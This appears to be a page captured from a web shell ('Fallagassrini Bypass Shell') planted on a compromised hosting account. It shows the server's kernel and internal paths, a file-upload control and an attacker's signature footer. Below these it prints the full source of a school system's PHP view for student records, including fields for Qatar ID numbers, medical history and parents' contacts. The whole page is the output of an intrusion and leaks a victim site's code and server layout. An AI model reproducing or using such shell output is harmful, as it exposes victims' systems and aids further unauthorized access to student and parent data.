? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/sec/application/views/student/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/sec/application/views/student/single_student.php

<?php
if (!defined('BASEPATH'))
    exit('No direct script access allowed');
?>
<div class="row-fluid">
    <div class="tab-pane " id="tab_2">
        <div class="portlet box blue">
            <div class="portlet-title">
                <div class="caption"><i class="icon-reorder"></i>Student Details</div>
                <div class="tools">
                    <a href="#" onclick="viewdata('student','viewinstudentsearch','search_student','view_student','<?= $_SESSION['pagenum']; ?>')" class="remove"></a>
                </div>
            </div>
            <div class="portlet-body form">
                <div class="form-horizontal form-view form-bordered">
                    <!-- BEGIN FORM-->
                    <?php
                    $attributes = array('id' => 'validateform', 'class' => 'form-horizontal validate');
                    echo form_open('student/addinstudent/update_student/view_student/1', $attributes);
                    ?>
                    <h3 class="form-section">Personal Details </h3>
                    <div class="row-fluid">
                        <div class="span6 ">
                            <div class="control-group">
                                <label class="control-label">Student No</label>
                                <div class="controls"><span class="text bold">
                                        <?= $student->reg_no; ?></span>
                                </div>
                            </div>
                        </div>
                        <div class="span6 ">
                            <div class="control-group">
                                <label class="control-label">First Name</label>
                                <div class="controls">
                                    <span class="text bold"><?= $student->first_name; ?></span>
                                </div>
                            </div>
                        </div>
                    </div>
                    <div class="row-fluid">
                        <div class="span6 ">
                            <div class="control-group">
                                <label class="control-label">Last Name</label>
                                <div class="controls">
                                    <span class="text bold"><?= $student->last_name; ?></span>
                                </div>
                            </div>
                        </div>
                        <div class="span6 ">
                            <div class="control-group">
                                <label class="control-label">Gender</label>
                                <div class="controls">
                                    <span class="text bold"> <?= $student->gender ?></span>  
                                </div>
                            </div>
                        </div>
                    </div>
                    <div class="row-fluid">
                        <div class="span6 ">
                            <div class="control-group">
                                <label class="control-label">Date of Birth </label>
                                <div class="controls">
                                    <span class="text bold"> <?= $this->mastermodel->convertdatenormalformat($student->dob) ?></span>
                                </div>
                            </div>
                        </div>

                        <div class="span6 ">
                            <div class="control-group">
                                <label class="control-label">Admission Date </label>
                                <div class="controls">
                                    <span class="text bold"> <?= $this->mastermodel->convertdatenormalformat($student->admission_date) ?></span>
                                </div>
                            </div>
                        </div>
                    </div>
                    <div class="row-fluid">
                        <div class="span6 ">
                            <div class="control-group">
                                <label class="control-label">Nationality</label>
                                <div class="controls">
                                    <span class="text bold"> <?= $student->nationality ?></span>
                                </div>
                            </div>
                        </div>

                        <div class="span6 ">
                            <div class="control-group">
                                <label class="control-label">Email Id</label>
                                <div class="controls">
                                    <span class="text bold"> <?= $student->email ?></span>
                                </div>
                            </div>
                        </div>
                    </div>

                    <div class="row-fluid">
                        <div class="span6 ">
                            <div class="control-group">
                                <label class="control-label">School Name</label>
                                <div class="controls">
                                    <span class="text bold"> <?= $student->school_name; ?></span>  
                                </div>
                            </div>
                        </div>

                        <div class="span6 ">
                            <div class="control-group">
                                <label class="control-label">Grade</label>
                                <div class="controls">
                                    <span class="text bold"> <?= $student->grade_name; ?></span>
                                </div>
                            </div>
                        </div> 
                    </div>
                    <div class="row-fluid">
                        <div class="span6 ">
                            <div class="control-group">
                                <label class="control-label">Qatar ID NO</label>
                                <div class="controls">
                                    <span class="text bold"> <?= $student->qatar_id ?></span>    
                                </div>
                            </div>
                        </div> 

                        <div class="span6 ">
                            <div class="control-group">
                                <label class="control-label">Blood Group</label>
                                <div class="controls">
                                    <span class="text bold"> <?= $student->blood_group ?></span>
                                </div>
                            </div>
                        </div>
                    </div>
                    <div class="row-fluid">
                        <div class="span6 ">
                            <div class="control-group">
                                <label class="control-label">Previous medical illness / Allergy</label>
                                <div class="controls">
                                    <span class="text bold"> <?= $student->previous_medical_illness ?></span>
                                </div>
                            </div>
                        </div>

                        <div class="span6 ">
                            <div class="control-group">
                                <label class="control-label">Address</label>
                                <div class="controls">
                                    <span class="text bold"> <?= $student->address ?></span> 
                                </div>
                            </div>
                        </div>
                    </div>
                    <div class="row-fluid">
                        <div class="span6 ">
                            <div class="control-group">
                                <label class="control-label">Photo</label>
                                <div class="controls">
                                    <img width="130" height="120" src="<?= base_url() ?>/assets/uploads/student_photo/<?= $student->photo; ?>" alt="" />
                                </div>
                            </div>
                        </div>
                    </div>
                    <div class="row-fluid portlet box blue" id="newparent">
                        <div class="portlet-title">
                            <div class="caption"><i class="icon-reorder"></i>Parents Details</div>

                        </div>
                        <div class="portlet-body form"  >
                            <div class="row-fluid">
                                <div class="span6 ">
                                    <div class="control-group">
                                        <label class="control-label">Father Name</label>
                                        <div class="controls">
                                            <span class="text bold"><?= $parent->father_name ?></span>           
                                        </div>
                                    </div>
                                </div>
                                <div class="span6 ">
                                    <div class="control-group">
                                        <label class="control-label">Qatar ID NO</label>
                                        <div class="controls">
                                            <span class="text bold"><?= $parent->father_qatar_id_no ?></span>        
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="row-fluid">
                                <div class="span6 ">
                                    <div class="control-group">
                                        <label class="control-label">Occupation</label>
                                        <div class="controls">
                                            <span class="text bold"><?= $parent->father_occupation ?></span>        
                                        </div>
                                    </div>
                                </div>
                                <div class="span6 ">
                                    <div class="control-group">
                                        <label class="control-label">Mobile No</label>
                                        <div class="controls">
                                            <span class="text bold"><?= $parent->father_mobile_no ?></span>    
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="row-fluid">
                                <div class="span6 ">
                                    <div class="control-group">
                                        <label class="control-label">Office No</label>
                                        <div class="controls">
                                            <span class="text bold"><?= $parent->father_ofc_no ?></span>         
                                        </div>
                                    </div>
                                </div>
                                <div class="span6 ">
                                    <div class="control-group">
                                        <label class="control-label">Residence No</label>
                                        <div class="controls">
                                            <span class="text bold"><?= $parent->father_residence_no ?></span>       
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="row-fluid">
                                <div class="span6 ">
                                    <div class="control-group">
                                        <label class="control-label">Email ID</label>
                                        <div class="controls">
                                            <span class="text bold"><?= $parent->father_email ?></span>  
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                    <!--                <div id="parent_box" style="list-style: none;margin: 0 auto;"></div>-->

                    <div class="row-fluid portlet box blue" id="newparent1"  >
                        <div class="portlet-title">
                            <div class="caption"><i class="icon-reorder"></i>Parents Details</div>

                        </div>
                        <div class="portlet-body form" >
                            <div class="row-fluid">
                                <div class="span6 ">
                                    <div class="control-group">
                                        <label class="control-label">Mother's name</label>
                                        <div class="controls">
                                            <span class="text bold"><?= $parent->mother_name ?></span>     
                                        </div>
                                    </div>
                                </div>
                                <div class="span6 ">
                                    <div class="control-group">
                                        <label class="control-label">Qatar ID NO</label>
                                        <div class="controls">
                                            <span class="text bold"><?= $parent->mother_qatar_id_no ?></span>        
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="row-fluid">
                                <div class="span6 ">
                                    <div class="control-group">
                                        <label class="control-label">Occupation</label>
                                        <div class="controls">
                                            <span class="text bold"><?= $parent->mother_occupation ?></span>        
                                        </div>
                                    </div>
                                </div>
                                <div class="span6 ">
                                    <div class="control-group">
                                        <label class="control-label">Mobile No</label>
                                        <div class="controls">
                                            <span class="text bold"><?= $parent->mother_mobile_no ?></span>   
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="row-fluid">
                                <div class="span6 ">
                                    <div class="control-group">
                                        <label class="control-label">Office No</label>
                                        <div class="controls">
                                            <span class="text bold"><?= $parent->mother_ofc_no ?></span>       
                                        </div>
                                    </div>
                                </div>
                                <div class="span6 ">
                                    <div class="control-group">
                                        <label class="control-label">Residence No</label>
                                        <div class="controls">
                                            <span class="text bold"><?= $parent->mother_residence_no ?></span>            
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="row-fluid">
                                <div class="span6 ">
                                    <div class="control-group">
                                        <label class="control-label">Email ID</label>
                                        <div class="controls">
                                            <span class="text bold"><?= $parent->mother_email ?></span>
                                        </div>
                                    </div>
                                </div>
                                <div class="span6 ">
                                    <div class="control-group">
                                        <label class="control-label">Emergency Contact No</label>
                                        <div class="controls">
                                            <span class="text bold"><?= $parent->emergency_contact_no ?></span>                
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                    <div class="row-fluid portlet box blue">
                        <div class="portlet-title">
                            <div class="caption"><i class="icon-reorder"></i>Batch Details</div>                        
                        </div>
                        <div class="portlet-body form">
                            <table class="table table-striped table-hover table-bordered" id="sample_3">
                                <tr>                   
                                    <th>Batch No</th>
                                    <th>Allocation date</th>
                                    <th>Certificate Issued ?</th>
                                </tr>
                                <?php
                                $batch_array = array();
                                $batch = $this->mastermodel->get_data_joined('student_batch','student_batch_details',
                                        'student_batch_id','student_batch_id',$student->student_id, 'student_id', 'allocation_date');
                                foreach ($batch as $row)
                                {

                                    $batch_det = $this->mastermodel->get_data_srow('batch', $row['batch_id'], 'batch_id');
                                    if (!empty($batch))
                                    {
                                        if (!in_array($batch_det->batch_no, $batch_array))
                                        {
                                        $batch_array[] = $batch_det->batch_no;
                                        ?>
                                        <tr>
                                            <td>
                                                <?= $batch_det->batch_no ?>
                                            </td>
                                            <td >
                                                <?= $this->mastermodel->convertdatenormalformat($row['allocation_date']) ?>
                                            </td>
                                            <td>
                                                <input type="checkbox" onclick="update_certificate_issue(this,'<?= $row['student_batch_id'] ?>')" <?= $row['certificate_issued'] == "1" ? "checked" : ""; ?> id="chk_certificate" value="<?= $row['certificate_issued']; ?>" />
                                                <div style="position: absolute;margin: -19px 23px;">  </div>
                                            </td>


                                        </tr>
                                        <?php
                                        }
                                    }
                                }
                                ?>
                            </table>
                        </div>
                    </div>
                    <div class="row-fluid portlet box blue">
                        <div class="portlet-title">
                            <div class="caption"><i class="icon-reorder"></i>Sibling Details</div>                        
                        </div>
                        <div class="portlet-body form">
                            <table class="table table-striped table-hover table-bordered" id="sample_3">
                                <tr>                   
                                    <th>Student No</th>
                                    <th>Student Name</th>
                                    
                                       
                                </tr>
                                <?php
                                $sibling = $this->mastermodel->get_data('parent_student', $parent->parent_id, 'parent_id');
                                foreach ($sibling as $row)
                                {

                                    $sibling_det = $this->mastermodel->get_data_srow('student', $row['student_id'], 'student_id');
                                    if (!empty($sibling_det))
                                    {
                                        if ($student->student_id != $sibling_det->student_id)
                                        {
                                            ?>
                                            <tr>
                                                <td><?= $sibling_det->reg_no ?></td>
                                                <td ><?= $sibling_det->first_name . ' ' . $sibling_det->last_name ?></td>
                                                
                                            </tr>
                                            <?php
                                        }
                                    }
                                }
                                ?>
                            </table>
                        </div>
                    </div>


                    <?php
                    echo form_close();
                    ?>
                    <?php
$data['master_id']=$student->student_id;
$data['controller']='student';
$data['controller_function']='viewinstudentsearch';
$data['page']='view_student';
$data['model_function']='search_student';
$this->load->view('master/uploaded_files',$data);
echo form_close();
?>
                    <!-- END FORM-->    
                </div>
            </div>
        </div>
    </div>
</div>
<script>
    function update_certificate_issue(obj,student_batch_id)
    {
        var issued = 0;
        var $checkbox = $(obj);
        issued = $checkbox.is(':checked') ? 1 : 0;
        var $td = $checkbox.closest('td');
        $td.find('div:first').html("<img src='<?= base_url('assets/img/loading.gif') ?>' />");        
        $.ajax({
           url : "<?= site_url('student/update_certificate_issue') ?>/" + student_batch_id + "/" + issued,
           success : function(data){
               $td.find('div:first').empty();    
           }
        });
    }
</script>




bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net